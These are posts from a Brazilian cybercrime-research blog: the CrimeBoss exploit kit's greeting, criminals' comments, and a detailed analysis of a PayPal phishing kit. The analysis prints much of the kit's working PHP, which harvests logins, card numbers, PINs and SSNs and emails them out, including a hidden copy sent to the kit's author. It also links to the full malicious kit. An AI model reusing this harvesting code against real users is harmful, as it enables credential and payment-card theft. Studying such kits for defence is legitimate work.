quinta-feira, 6 de dezembro de 2012

Why the CrimeBoss Exploit Kit has sent greetings to this blog

7 comentários
Some security researchers have found a base64 encoded message addressed to this blog. It is embedded in malicious scripts related with java exploits, and, last week, it was found in CrimeBoss exploit kit.

However, earlier this year some friends had warned me about it. The first time this message became public was in April, when the blog ElegantCode got hacked. They analyzed the code injected in the page and found that message. You can read the detailed post here.

The original encoded message is this:

msg = d_hex( d_b64( ?? ) );

After you convert the Base64 to Hex and Hex to ASCII with any tool like this one, you can obtain a message in Portuguese that in English is like that:

“Greetings to my fellow workers of the crimesciberneticos.com blog.
Knowing that we know nothing, we’re beyond good and evil, after all the only thing absolute is that everything is relative.
A hug, your friend Psychlo.
by Psychlo”

First of all, he is NOT my friend. :)

This blog is about cybercrime investigations, malware reverse engineering, intrusion analysis and so on. Thus, sometimes I find interesting stuff that allows me to track the Brazilian cyber criminals, and last year, I found out very interesting information about them.

Something went wrong

About one year ago, a reader sent me a message telling that he tried to access a website but the index page was presenting confusing information. See below.

Immediately I copied the source code and started the analysis. You can see the original code at Pastebin.

I took some of those strings, put on Google and got about 14,000 results with the same code. So, about 14K pages were defaced, most from Brazil.

The criminals used some kind of automated tool to deface and inject code in those pages, but it didn't work well. Consequently, it revealed a lot of information about them, how they act, their accounts, logins, passwords, databases, etc.

One of the most interesting things is this snippet:

Counter .HTTP: http://anfeso1201.dominiotempo... Total: 559
Date: 28/09/2011
Counter .HTTP: http://r7on.com.br/porraloka/clie... Total: 1671
Counter .HTTP: http://netransportes.com.br/ama... Total: 2000
TOTAL INFECTS: 00.000 x 0,50 = 000,00
Agreed Amount: 1000
Counter HTTP: Total: 1000
I owe him: 250,00
Total: 2214,00 I will send: 3000,00 I owe him: 786,00 - 250 = 536
Counter .EXE : 2053
TOTAL INFECTS: 5.000 x 0,50 = 000,00
Counter HTTP: Total: 3758
I owe him: 600,00

We can see some information of the cybercrime’s accounting. We have three nicknames, the guy of the message (Psychlo) is one of them. Additionally, we have some counters of infected computers, how much is paid for each one (50 cents of Brazilian Real) and how much the “boss” owes for his “employees”.

Here we see the value of maintain a counter of infections. It is quite common find malware that calls home and sends data to inform new installations. They earn money with that.

We have other interesting snippets, such this one:

miroslav.stampar@gmail.com Wordpress guy
8276 0241 Oi julimar

An email address, probably a programmer, and a cell number.


Here, they are using the statcounter.com to count their infections, but they left the username and password exposed too. With these credentials I logged into the account and gathered more information. Probably the real name and email address of one member (maybe the boss) of the gang.

In the original post I did further analysis and tried to put the pieces together. I've found malicious scripts used in Drive-by download attacks; FTP servers where they stored their files; web shells; PHP mailers to send phishing, etc.

The post was well accessed and commented in Brazil, today it has about 70 comments. However, it is interesting to note that it attracted attention from the bad guys too. Apparently even the authors of the malicious code read the post and left comments.

Take a look at the comments below to better understand the case. There are two guys, c0d3c4sh and Psychlo, talking about their criminal lives and their impressions about the post. On the other hand there are also the regular blog readers confronting their ideas (not shown in these comments).

c0d3c4sh wrote in 11/09/2011:

“I finally managed to find out who was the UNOCCUPIED that disabled my auto infect! What anger, but no problem, it is already infecting everything and online again...
Another thing, I noticed that you didn’t understand why the applet writes a file in the system...
I just put on Google and I find all I want, if someone copies my applet, I can figure out where it goes or where it is being used by some bastard banker friend.
Let me steal in peace, thank you.”

Psychlo wrote in 11/09/2011:

“I like it! Great job.
I confess to being happy with my "few minutes of fame" while I've read my name in the post.
The internet is really a fantastic place where I can appreciate the work of those who looks at mine. ;)
I am available on email above for talks. Although I did not paint myself as a good boy I certainly like to talk to interesting people.
I personally work in specific periods of the year and I say that in the coming months we will increase the “Christmas sales”. After all, everyone wants to be well on Christmas.
I can leak some information for you to do some cool posts but I want more "fame". Put me in a most important blog. Put me on TV.
Hahahaha ... I liked the post.
I hope to come back here ;)”

Psychlo wrote in 11/09/2011:

"Ahhh, c0d3c4sh. You're complaining for nothing. I'm aware that you're full of money hahaha ...
Let the guys play CSI... After all, would you say that you do not like recognition!?
But the life of cyber criminals is not easy... not...
The system was born corrupt, who insists on defending it and accept it is nothing more than a simple servant of the owners of the money. The idea of this system is so absurd that it works!
I don't do that only for the money. I'd do it even if I earned nothing.
Why do I do that?
Just for fun. And what else would it be?!?
Well... I'll sleep... This post gave me an UP (motivation)... In the following tools I will develop, that are on the "front line" and that you will have access, I'll post greetings for your support. You motivated me to create better tools.
Thank you”

c0d3c4sh wrote in 11/15/2011:

"Look at me here again, crazier than ever and I wasn't caught yet hahahahaha!
;) ...
Should I open my eyes? uhauhauhauha idiot, you make me laugh, you should open your eyes before accessing your Internet Banking.
This makes more money than drug trafficking, bro!
News soon”


It seems that last year they were using their malicious scripts to perform Drive-by download attacks. However, this year they improved a bit and packed the code in an Exploit Kit.

Although the use of Exploits Kits is quite spread worldwide, in Brazil it has been different, only this year they started to use it to automate their attacks. As they said in the comments, they are trying to innovate, and, of course, increase their profits.

quinta-feira, 11 de outubro de 2012

Cibercriminoso cuidadoso com o banco de dados

9 comentários
Esse é um caso onde o cibercriminoso fez a lição de casa em relação às permissões de acesso ao banco de dados do phishing.

É mais um que tem como alvo o PayPal, só que ao invés de receber as informações das vítimas por e-mail ele insere em um banco de dados.

Como tive acesso ao código-fonte PHP do phishing foi possível saber onde estava esse banco e qual era o usuário e senha. Conforme vemos abaixo.

Com essas informações pode-se utilizar qualquer client do MySQL para se conectar ao banco de dados. Foi o que fiz utilizando o MySQL Workbench, informando o host, user e password. A conexão com o banco ocorreu sem problemas.

Quando realizei um SELECT para visualizar as informações que já estavam inseridas na tabela log, o comando não executou, permissão negada.

A mensagem de erro fala que o usuário ccs a partir do meu endereço IP não tem permissão de acesso para o comando SELECT na tabela log.

Isso mostra que o cibercriminoso configurou corretamente as permissões do usuário. Sabendo que o código-fonte poderia ser visualizado por outras pessoas ele permitiu que esse usuário só realizasse INSERTs no banco, o que já é suficiente para os propósitos do golpe.

Interessante que muitas vezes nós mesmos não configuramos nossas aplicações e banco de dados de forma tão precisa como ele fez, o usuário com a mínima permissão possível. Devemos ficar atentos para essa questão também.

Ainda um outro detalhe desse phishing, analisando os nomes das variáveis vemos que algumas não estão em inglês e sim em alemão:

Vorname: Nome
Nachname: Sobrenome
Kreditkartennummer: Número do cartão de crédito
Karteninhaber: Titular do cartão
Ablaufdatum1: Data de validade 1
Ablaufdatum2: Data de validade 2
Kontonummer: Número da conta

Isso pode dar pistas da nacionalidade do autor do código... ou não. :)

segunda-feira, 8 de outubro de 2012

Phishing poliglota, análise de um caso do PayPal

13 comentários

É muito comum lidarmos com casos de phishing no Brasil, são inúmeras as páginas falsas de bancos brasileiros tentando capturar credenciais de acesso de usuários desavisados. Entretanto, esse tipo de golpe não ocorre só aqui, há pessoas aplicando esses golpes em várias partes do mundo.

Dentre as empresas internacionais mais visadas em casos de phishing a que mais se destaca é o PayPal, empresa de pagamentos online mundialmente conhecida.

Os métodos empregados nesse phishing que iremos analisar são semelhantes ao que costumamos ver por aqui, porém há alguns detalhes para deixar o golpe talvez um pouco mais sofisticado e atingir um maior número de vítimas. Vamos lá!

Página inicial

Como é comum nesses casos, as URLs do phishing tentam passar a impressão que são do próprio site do PayPal, o atacante copiou padrões de URLs utilizados no site original e tentou reproduzir nas páginas falsas. A URL que deu acesso ao phishing foi essa:


Quebrei para facilitar a leitura, as três linhas formam somente uma URL. Se a pessoa ler somente da esquerda para a direita talvez pense que realmente se trate do site paypal.com mas o verdadeiro domínio onde a página está hospedada é esse:


Tudo o que está antes do domínio é o subdomínio que o atacante criou para tentar enganar os usuários. Ao clicar nessa URL abriu o site abaixo.

Um site do PayPal em inglês bastante convincente visualmente. Tive acesso ao código-fonte desse phishing e assim consegui entender melhor o funcionamento, vamos ver o passo a passo da execução.

Redirecionamentos e Idiomas

O código da página Open-information.php, que é a primeira a ser executada, é esse abaixo:

Ela redireciona o usuário automaticamente para a página reboot.php que está dentro do diretório “service” do site. Esse diretório possui a estrutura abaixo, que será referenciada várias durante esse post.

Já a página reboot.php possui o seguinte código:

Essa é uma outra forma de redirecionamento, há uma variável que recebe a string “Limit” e depois um loop que vai buscando nomes de diretórios no padrão “Limit1”, “Limit2”, “Limite3”... Quando encontra um diretório com algum desses nomes ela redireciona para ele.

Olhando a figura da estrutura do diretório “service” novamente vemos que dentro dele há uma pasta chamada “Limit9”, então o reboot.php vai chamar o index dessa pasta. O porquê do redirecionamento ser feito assim entenderemos mais pra frente.

Agora passando para a análise da página “Limit9/index.php” encontramos o código abaixo:

 /* ############Scam Made By AdAmMeD################ */  
   #                       #  
   # Scam Made By AdAmMeD ## Scam Made By AdAmMeD #  
   #                       #  
 /*                          */   
 if ($HTTP_ACCEPT_LANGUAGE != ''){   
   $idiomas = explode(",", $HTTP_ACCEPT_LANGUAGE);  
   for ($i=0; $i<count($idiomas); $i++){  
     if (!isset($idioma)){  
       if (substr($idiomas[$i], 0, 2) == "es"){$idioma = "ES";}  
                if (substr($idiomas[$i], 0, 2) == "en"){$idioma = "EN";}  
       if (substr($idiomas[$i], 0, 2) == "fr"){$idioma = "FR";}  
     } else { $idioma = "EN"; }  
 include 'Pay_'.$idioma.'.php';  
 /*  ############Scam Made By AdAmMeD################ */  
   #                                                             #  
   # Scam Made By AdAmMeD ## Scam Made By AdAmMeD            #  
   #                                                            #  
 /*                          */   

A princípio vemos a assinatura do autor do código do phishing “Scam Made By AdAmMeD”. Não necessariamente é a pessoa que está aplicando o golpe, pode ser que ele só fez o código e vendeu ou disponibilizou para download.

Em seguida é acessada a variável global do PHP “HTTP_ACCEPT_LANGUAGE” que informa qual é o idioma que o navegador do usuário que requisitou a página aceita. Essa variável busca o header HTTP Accept Language.

A partir disso o atacante sabe qual é o idioma mais adequado para apresentar a página falsa do PayPal. Isso mostra ele que não está só querendo vítimas que entendam inglês, como vemos no código ele também tem versões para espanhol e francês.

Baseado nessas informações ele inclui no código a página do PayPal adequada. Olhando novamente na figura do diretório “service” vemos que há as páginas Pay_EN.php, Pay_ES.php e Pay_FR.php.

Após a inclusão da página, ele finalmente exibe a tela inicial do phishing, aquela que vimos na primeira figura.

Vamos fazer a análise da versão em inglês, a página Pay_EN.php. Essa página possui um código PHP inicial seguido do código HTML da página, que contém alguns forms para receber inputs do usuário.

Mesmo fazendo essa escolha de idioma inicial, o atacante permite que o usuário altere o idioma na página, existe um form para isso:

 <form method="post" id="rosetta" class="rosetta" action="Pay_EN.php?cmd=_home&amp;dispatch=5885d80a13c0db1f8e263663d3faee8dc18bca4c6f47e633b393e284a5f8a8f8">  
 <input type="hidden" name="cmd" value="ok">  
    <legend><span class="accessAid">Change Your Language</span></legend>  
    <label for="rosetta_dropdown">Language Select</label>  
    <select id="rosetta_dropdown" name="locale_x">  
      <option value="en_US" selected>English</option>  
      <option value="es_XC">Espa&ntilde;ol</option>  
      <option value="fr_XC">Fran&ccedil;ais</option>  
    <input type="submit" name="testName" value="&gt;" class="button mini">  
    <input type="hidden" id="change_locale_x" name="change_locale.x" value="1">  
 <input type="hidden" name="cmd" value="ok">  
 <input name="form_charset" type="hidden" value="UTF-8">  

Agora analisando o início do código PHP da página Pay_EN.php vemos esses dados sendo tratados:

Ele inicia uma sessão do PHP caso já não tenha sido iniciada e atribui para uma variável de sessão o idioma escolhido (essa variável ficará visível para todas as páginas). Depois recebe as variáveis “cmd” e “locale_x” passados pelo form pelo método POST e então se o usuário escolheu outro idioma ele chama a página correta.

Capturando dados

Ainda na Pay_EN.php há o formulário de login da conta do PayPal, que é o que realmente o atacante deseja capturar.

O código HTML desse form é esse:

 <form method="post" name="login_form" action="webscr?cmd=_login-submit&dispatch=5885d80a13c0db1f8e263663d3faee8dc18bca4c6f47e633b393e284a5f8a8f8">  
    <legend>Member Log In</legend>  
    <p><label for="login_email">Email address</label>  
      <input type="text" id="login_email" name="login_email" value=""></p>  
    <p><label for="login_password">PayPal password</label>  
      <input autocomplete="off" type="password" id="login_password" name="login_password" value="">  
    <p><label for="target_page">Go to</label>  
      <select id="target_page" name="target_page">  
       <option value="0" selected>My account</option>  
       <option value="1">My transactions</option></select></p>  
      <input type="submit" name="submit.x" value="Log In" class="button primary">  
   <p><a href="direct.php?site=https://www.paypal.com/us/cgi-bin/webscr?cmd=_account-recovery&amp;from=PayPal">Problem with login?</a></p>  
   <p>New to PayPal? <strong><a href="direct.php?site=https://www.paypal.com/us/cgi-bin/webscr?cmd=_registration-run">Sign up</a></strong>.             
   <input name="form_charset" type="hidden" value="UTF-8">  

Os dados inseridos nesse form vão para essa página do phishing:


Olhando o link “Problem with login?” que o atacante redireciona para o site verdadeiro do PayPal, vemos a semelhança das duas URLs:


Mais uma vez para deixar as URLs com aparência mais legítima. Outro detalhe é que ele chama o index de um diretório e passa parâmetro para ele somente com o nome da pasta, sem especificar o arquivo index.

O atacante usou isso:


Ao invés disso:


Uma forma mais furtiva para se parecer com a URL verdadeira. Se olharmos na figura da estrutura de pastas do “service” iremos encontrar a pasta “webscr” lá, que terá o index.php que receberá os dados desse formulário passados pelo método POST.

A página “webscr/index.php” possui algumas coisas interessantes. Primeiro, para QUALQUER usuário e senha digitados no formulário anterior ela mostrará essa página:

É uma mensagem de erro de login, falando que os dados digitados não estão corretos. Isso derruba aquela dica arcaica de segurança que diz “insira qualquer usuário e senha na página, se aceitar é porque a página é falsa, senão é verdadeira”.

Essa página vai exigir que sempre o usuário digite novamente os dados de login. E quando esses dados forem digitados a página vai chamar ela mesma, porque no início dela há um código para tratar os dados. O código é esse abaixo.

Há um “if” que faz uma validação simples dos dados digitados e caso sejam válidos são criadas variáveis de sessão para receber esses dados e a execução é redirecionada para a página:


Só que antes desse redirecionamento há um include interessante também:

include "../lang/langdetect.php";

A “langdetect.php” é inserida na “webscr/index.php”, esse include tem como principal objetivo apresentar essa página do segundo login no idioma correto. Dessa vez o atacante não criou uma página para cada um, ele usou só uma página que para cada string há uma variável que a exibe no idioma correto.

Isso é feito através dessa página:

Atente-se para a linha 15 da listagem, não tem nada a ver com idioma, é criada a variável global “PR_TARGET” que será usada mais pra frente:

define('PR_TARGET', '../WEBSCR-640-20101004-1/Marketing/css/pages/');

Já as páginas com as strings de cada idioma possuem essa estrutura:

Então após digitar pela segunda vez os dados de login é chamada a página “loading.php”, que tem a única finalidade de exibir um “loading...” na tela e redirecionar para outra página através desse HTML:

<META http-equiv=Refresh content="3; URL=webscr/update.php?cmd=_login-done&amp;login_access=1193476743">

Página principal

A “update.php” é a página mais importante do golpe. A parte visual dela é uma formulário de atualização de dados do perfil do PayPal, para o usuário inserir várias informações. E como não poderia faltar, informações de cartão de crédito também.

Já o código dessa página é mais interessante, abaixo segue o trecho referente ao PHP:

 /* ############Scam Made By AdAmMeD################ */  
   #                       #  
   # Scam Made By AdAmMeD ## Scam Made By AdAmMeD #  
   #                       #  
 /*                          */   
 //initialize the session  
 $ip = getenv("REMOTE_ADDR");  
 $browser = getenv ("HTTP_USER_AGENT");  
 if (!isset($_SESSION)) {  
 ini_set('session.gc_maxlifetime', 3600);  
 include "../lang/langdetect.php";  
 global $error;  
 $error = 1;  
 if(@$_POST['cmd'] == "ok"){  
 $defaultcvv2 = 'error';  
 $error = 0;  
 $answer1 = 'error';  
 $error = 0;  
 $answer2 = 'error';  
 $error = 0;  
 $quest1 = 'error';  
 $error = 0;  
 $quest1 = 'error';  
 $error = 0;  
 $userphone = 'error';  
 $error = 0;  
 $defaultcardnumber = 'error';  
 $error = 0;  
 $defaultcountry = 'error';  
 $error = 0;  
 $fullname = 'error';  
 $error = 0;  
 $defaultaddress1 = 'error';  
 $error = 0;  
 $defaultcity = 'error';  
 $error = 0;  
 $defaultstate = 'error';  
 $error = 0;  
 $defaultzip = 'error';  
 $error = 0;  
 $bday = 'error';  
 $error = 0;  
 $bmonth = 'error';  
 $error = 0;  
 $byear = 'error';  
 $error = 0;  
 if( empty($_POST['defaultexpmonth']) or empty($_POST['defaultexpyear'])){  
 $defaultexpmonth = 'error';  
 $error = 0;  
 if( ($_POST['defaultexpmonth'] == 01 and $_POST['defaultexpyear'] == 11) or ($_POST['defaultexpmonth'] == 02 and $_POST['defaultexpyear'] == 11) or ($_POST['defaultexpmonth'] == 03 and $_POST['defaultexpyear'] == 11) ){  
 $defaultexpmonth = 'error';  
 $error = 0;  
 if( $error != 0 ){  
 $message .= "--------------ReZulT SpAm-----------------------\n";  
 $message .= "Email Address         : ".$_SESSION['emaill']."\n";  
 $message .= "Password           : ".$_SESSION['passwordd']."\n";  
 $message .= "IP              : ".$ip."\n";  
 $message .= "Browser            : ".$browser."\n";  
 $message .= "\n";  
 $message .= "---------------------------\n";  
 $message .= "\n";  
 $message .= "Full Name           : ".$_POST['fullname']."\n";  
 $message .= "Card Type           : ".$_POST['card_type']."\n";  
 $message .= "Card Number          : ".$_POST['defaultcardnumber']."\n";  
 $message .= "Expiration Date        : ".$_POST['defaultexpmonth']."/";  
 $message .= "".$_POST['defaultexpyear']."\n";  
 $message .= "Card Verification Number   : ".$_POST['defaultcvv2']."\n";  
 $message .= "ATM PIN            : ".$_POST['PIN']."\n";  
 $message .= "Address 1           : ".$_POST['defaultaddress1']."\n";  
 $message .= "Address 2           : ".$_POST['defaultaddress2']."\n";  
 $message .= "City             : ".$_POST['defaultcity']."\n";  
 $message .= "State             : ".$_POST['defaultstate']."\n";  
 $message .= "ZIP Code           : ".$_POST['defaultzip']."\n";  
 $message .= "Country            : ".$_POST['defaultcountry']."\n";  
 $message .= "Telephone           : ".$_POST['userphone']."\n";  
 $message .= "Social Security Number    : ".$_POST['ssn']."\n";  
 $message .= "Date Of Birth         : ".$_POST['bday']."/";  
 $message .= "".$_POST['bmonth']."/";  
 $message .= "".$_POST['byear']."\n";  
 $message .= "Driver's License       : ".$_POST['drl']."\n";  
 $message .= "\n";  
 $message .= "---------------------------\n";  
 $message .= "\n";  
 $message .= "Security Question 1      : ".$_POST['question1']."\n";  
 $message .= "Answer 1           : ".$_POST['answer1']."\n";  
 $message .= "Security Question 2      : ".$_POST['question2']."\n";  
 $message .= "Answer 2           : ".$_POST['answer2']."\n";  
 $message .= "IP              : ".$ip."\n";  
 $message .= "\n\n";  
 $message .= "---------------The-Big-hichamhack@live.fr------------------------------\n";  
 $to = "d-h@live.fr"; // Put here Your E-Mail...   /* ############Scam Made By AdAmMeD################ */  
 $subject = "PayPal:".$ip;  
 $headers = "From: <d-h@live.fr>";  
 $headers = "MIME-Version: 1.0\n";  
 $from = "PayPal Monster";  
 header("Location: ../done.php?cmd=_login&dispatch=5885d80a13c0db1f8e263663d3faee8d4b3d02051cb40a5393d96fec50118c72");  
 $file= fopen("../../usernames.txt", "a");  
 fwrite($file, "-----------------------PayPal Spam Result-----------------------------\n");  
 fwrite($file, "Email Address         : ".$_SESSION['emaill']."\n");  
 fwrite($file, "Password           : ".$_SESSION['passwordd']."\n");  
 fwrite($file, "IP              : ".$ip."\n");  
 fwrite($file, "Browser            : ".$browser."\n");  
 fwrite($file, "\n");  
 fwrite($file, "--------------Credit Card Result-------------\n");  
 fwrite($file, "----------------------------------------------\n");  
 fwrite($file, "\n");  
 fwrite($file, "Security Question 1      : ".$_POST['question1']."\n");  
 fwrite($file, "Answer 1           : ".$_POST['answer1']."\n");  
 fwrite($file, "Security Question 2      : ".$_POST['question2']."\n");  
 fwrite($file, "Answer 2           : ".$_POST['answer2']."\n");  
 fwrite($file, "IP              : ".$ip."\n");  
 fwrite($file, "\n\n");  
 fwrite($file, "---------------The Big Cave & V!RuS MaRoC Meknes Spammer--------------\n");  

Tudo o que é inserido nessa página é enviado para ela mesma e esse PHP trata esses dados. Primeiro há validações simples para verificar se realmente os dados foram inseridos, caso esteja tudo certo é criado um e-mail com as informações.

E conseguimos ver para quem os dados furtados são enviados:

$to = "d-h@live.fr"; // Put here Your E-Mail...

O código até ajuda falando onde deve ser inserido o e-mail do golpista. Isso pode ser uma pista de que o código desse phishing foi feito por alguém e distribuído ou vendido para outros usarem.

E há outra coisa que também dá pistas disso, é algo que pode passar desapercebido para quem não analisar o código com calma. Nesse código antes de fazer as validações há essa linha:


O require é a mesma coisa que o include. Aqui ele está inserindo a página header.php que está localizada no caminho da variável PR_TARGET que ele havia registrado anteriormente como variável global (lembra?).

O codigo da header.php é esse:

Ela por sua vez está definindo outra variável global chamada "HEADING_TARGET" que tem como valor o caminho de outra página:


E após a função de envio de e-mail, há essa linha:


Esse segundo require vai inserir essa segunda página require.php que possui esse código:

Essa página só serve para enviar um e-mail novamente com as informações capturas. O campo “To” do e-mail vemos que é para o mesmo endereço. Mas por que o atacante faria todo esse código de "página chamando página" para conseguir mandar o e-mail duas vezes? Seria muito mais fácil adicionar mais uma linha da função mail() do PHP.

Isso ao meu ver trata-se do que é conhecido como caixa 2. A pessoa que criou o phishing programou todo o código e disponibilizou para download para qualquer um baixar, ou vendeu, ou trocou. E ainda dá até dica dentro do código falando onde eles devem colocar o endereço de e-mail para receber os dados capturados.

Só que também inseriu de uma forma relativamente oculta essa função de enviar um e-mail pra ele todas as vezes que algum dado fosse capturado. Os menos avisados ou com menor conhecimento de PHP fazem download do código, alteram para o endereço de e-mail deles na função principal, hospedam em algum lugar e esperam os resultados. Sem saber que para cada e-mail que eles recebem o outro também vai receber, ou seja, é o caixa 2 do golpe.

Essa é uma característica comum de códigos maliciosos que são disponibilizados para download, o código pode até ser gratuito mas também pode ter funções ocultas.

Porém nesse caso vimos que os endereços de e-mails tanto do código principal quanto daquele mais oculto são os mesmos. Isso pode ser porque esse atacante tenha descoberto esse esquema e assim também inseriu o e-mail dele lá.

Voltando ao código PHP principal...

Após enviar os dois e-mails é feito um redirecionamento para a página done.php através da linha abaixo:

header("Location: ../done.php?cmd=_login&dispatch=5885d80a13c0db1f8e26...");

Vemos também que caso os dados digitados no formulário não passem nas validações, há um código que salva em um TXT algumas informações já capturadas no golpe. Isso deve ser para garantir que pelo menos o usuário e senha digitados sejam capturados.


Por fim, o redirecionamento anterior levou a execução para a página done.php. Essa tem a finalidade de passar um pouco mais de credibilidade ao golpe, exibindo algumas mensagens de sucesso e informações de data e hora. Ela por sua vez redireciona automaticamente após 4 segundos para uma outra página através dessa linha:

<META http-EQUIV="refresh" content="4; URL=../dir.php">

E é na dir.php que entendemos o uso daquele diretório “Limit”. Segue o código:

É exibida a mensagem que está processando e enquanto isso o diretório “Limit” é renomeado. Receberá o incremento de um em seu nome e no nosso caso chamará “Limit10”. E por fim é feito redirecionamento para o site do PayPal verdadeiro.

Consigo enxergar duas funcionalidades para essa mudança de nome: a primeira é que de certa forma o número do diretório serve como um contador de vítimas, e a segunda é que a URL dos arquivos do golpe sempre estará mudando, se ela for colocada em uma blacklist como “Limit9”, quando passar para “Limit10” já estará livre da blacklist.

Informações Adicionais

No servidor onde estava hospedado esse phishing havia outros códigos maliciosos, hacker tools e páginas de defacement. O index principal era o defacement abaixo:

Parece que o site foi desfigurado por esse grupo de Bangladesh e depois vieram outros e fizeram a festa copiando tools e hospedando phishing. Porém isso só é possível afirmar com certeza se for feita uma perícia forense no computador.

Também havia outras cópias do mesmo phishing nesse servidor, um tipo de pasta só armazenava o PHP inicial que faz o redirecionamento e o outro tipo armazena os arquivos principais do golpe.

Interessante que em algumas dessas outras pastas havia um endereço de e-mail diferente para onde os dados eram enviados:


E as pastas “Limit” também possuem numerações diferentes, a mais alta que encontrei foi 100.

É isso aí, qualquer dúvida ou sugestão só deixar um comentário. Para novidades também podem seguir o blog no twitter @crimescibernet.

[Post atualizado em 16/10/2012]

Para quem gostou da análise e queira reproduzí-la, estou disponibilizando todos os arquivos originais desse phishing. Ressalto que os arquivos são maliciosos e podem causar danos em seu computador ou de terceiros. Faça download estando ciente disso e APENAS utilize para estudos, se essa não for sua intenção não faço o download. Não me responsabilizo por qualquer dano ou mau uso.

O download pode ser feito através desse link. A senha do arquivo é: infected.

segunda-feira, 9 de julho de 2012

Sorteio do livro: Desvendando a Computação Forense

7 comentários
[POST atualizado em 17/07/12]


Como combinado o sorteio foi realizado hoje às 20:05 e o resultado é possível conferir no link abaixo:


No total foram 72 participantes e o vencedor foi @sidneysvieira que terá até 48 horas para responder o contato no twitter. 

Obrigado a todos pela participação!
Grande abraço!

[POST original em 09/07/12]

Olá pessoal!

A Novatec Editora está oferecendo um exemplar do livro "Desvendando a Computação Forense" para ser sorteado entre os leitores do blog.

Esse livro será uma excelente leitura para quem gostou do post anterior sobre o concurso para Perito  em Computação da Polícia Federal, já que os autores são dois peritos da própria PF. 

Tive a oportunidade de assistir uma palestra deles na ICCyber 2010, onde apresentaram o software NuDetective, para identificação automática de imagens de pedofilia nos computadores dos suspeitos. Nessa oportunidade todos gostaram muito da apresentação.

Segue a resenha do livro:

Neste livro, os Peritos Criminais Federais, Pedro Monteiro da Silva Eleutério e Marcio Pereira Machado, ensinam os conceitos, procedimentos e técnicas fundamentais nesta novíssima, intrigante e multidisciplinar área da computação, que é a Computação Forense. Utilizando uma linguagem simples e objetiva, os autores definem e detalham os tipos de exames periciais mais comuns em informática, incluindo exemplos de ferramentas que podem ser utilizadas e dicas práticas para a superação dos desafios presentes nessa área. A obra aborda as fases executadas durante esses exames, incluindo a correta preservação, coleta, análise e apresentação das evidências digitais com validade probatória em juízo. Em todos os capítulos, é possível observar a existência de exemplos práticos decorrentes de casos reais da experiência profissional dos autores, que trabalham diariamente desvendando os mais variados crimes cometidos com o uso do computador.

Mais informação podem ser obtidas no site da Novatec Editora.

Como participar do sorteio

O sorteio será realizado de forma automática através do Twitter pelo site sorteie.me. Então para concorrer a pessoa deverá ter uma conta no Twitter e tweetar ou retweetar a seguinte frase: 

Quero participar do sorteio do livro Desvendando a Computação Forense, crimesciberneticos.com @crimescibernet http://kingo.to/18yp

É necessário que a frase seja exatamente essa (só copiar e colar :), pois é através dela que o sorteie.me encontrará os participantes.

O sorteio será realizado no dia 17/07/2012, às 20:00 horas (horário de Brasília).

Após o sorteio será publicado um link para todos conferirem quem foi o ganhador. 

Entrarei em contato pelo Twitter oficial do blog (@crimescibernet) e o ganhador terá até 48 horas para responder, caso contrário será feito um novo sorteio. Por fim, a própria editora enviará o livro.

Qualquer dúvida só deixar um comentário.

Não deixem de participar, quem sabe não aparecem mais livros por aqui. :)

Boa sorte!
Related Posts Plugin for WordPress, Blogger...